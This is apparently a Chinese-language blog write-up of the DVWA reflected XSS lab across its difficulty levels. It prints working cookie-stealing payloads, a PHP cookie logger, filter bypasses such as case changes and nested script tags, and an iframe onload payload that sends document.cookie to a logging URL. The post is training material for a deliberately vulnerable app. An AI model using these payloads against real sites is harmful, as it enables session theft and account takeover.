Fork me on github

【DVWA(四)】XXS反射型跨站攻击


XXS反射型跨站攻击(Reflected Cross Site Scripting)

概要:

跨站攻击是指入侵者在远程WEB页面的HTML代码中插入具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行。由于HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码,例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失。如这句简单的Javascript脚本就能轻易获取用户信息:alert(document.cookie),它会弹出一个包含用户信息的消息框。入侵者运用脚本就能把用户信息发送到他们自己的记录页面中,稍做分析便获取了用户的敏感信息。

      跨站脚本攻击分类:

      1、持久型XSS,又称存储型XSS

      2、非持久型XSS,又称反射型XSS

      3、DOM-XSS,DOM(文档对象模型)

      其中持久型的危害较大,其余两种目前貌似还没出现大范围、自动化的危害手段,不过已经有人可以把非持久型的跨站的危害最大化,当然对个人技术要求比较高。

      对于非持久型的跨站漏洞来说,应该还是属于鸡肋漏洞,不过现在关于如何扩大这种漏洞的危害已经有了一定发展,并且有人成功利用这种漏洞造成了不小的危害。反射型XSS摘掉“鸡肋漏洞”的帽子已经不远了。


本篇以DVWA四个等级进行研究,期间穿插hackbar等的使用,发现不理解的,可以翻看之前的随笔,欢迎留言斧正。


low:

恰好在听歌,就先用歌曲插进去试试:

<iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width=330 height=86 src="//music.163.com/outchain/player?type=2&id=1305364671&auto=1&height=66"></iframe>

哦吼可以的。因此可见,xss漏洞就是在输入内容上动手脚!

现在正式开始:

1.用alert试试

<script>alert("test")</script>

发现可以

2.既然可以,那就继续获取cookie

写php文件:

<?php

$cookie=$_GET['cookie'];
file_put_contents('get_low_dvwa_cookie.txt',$cookie);

?>

放到www文件夹下。

3.利用漏洞把cookie发送到刚刚的php文件中:

<script>document.location='http://127.0.0.1/get_low_dvwa_cookie.php?cookie='+document.cookie</script>

可以在输入框输入以上代码,也可以在hackbar里name="code...",注意用url encode

4.这时候可以看见获取了cookie并保存了文件

5.利用cookie进行登录【这部分暂时还没研究,挖坑!


medium:

1.继续尝试alert,发现不可行

2.用<SCRIPT>进行尝试,发现ok

3.查看源码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

可见<script>无效,因此我们用大写之后就ok了。

除了大小写组合,还可以利用<scr<script>ipt>进行绕过。

XXS漏洞发现,之后跟low完全一样了


high:

1.用alert尝试:

不行,并且返回'>'

2.用大小写组合尝试

不行

3.但是用之前的那个网易云音乐尝试可行

<iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width=330 height=86 src="//music.163.com/outchain/player?type=2&id=1305364671&auto=1&height=66"></iframe>

4.因此可以判断,仅仅对script进行了处理!

用<iframe onload=alert("test")>测试,可行!

5.相当于利用iframe嵌入新的HTML

<iframe onload=document.location='http://127.0.0.1/get_low_dvwa_cookie.php?cookie='+document.cookie>

成功!


impossible:

// Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    暂时无解


后记:

关于合天网安那一课后面的三个问号的思考:

1)跨站漏洞的原理是什么?

  没有对输入内容进行相应处理,如果像impossible那样处理,就能很好的保护了。
2)一般如何挖掘跨站漏洞?

  alert、iframe等等
3)现在如果你发现一个跨站漏洞你该如何利用?

  收集cookie,登录后台,已经挖坑,之后补一个实践操作的随笔记录。

 

posted @ 2019-06-23 22:49  未配妥剑,已入江湖  阅读(1012)  评论(0编辑  收藏  举报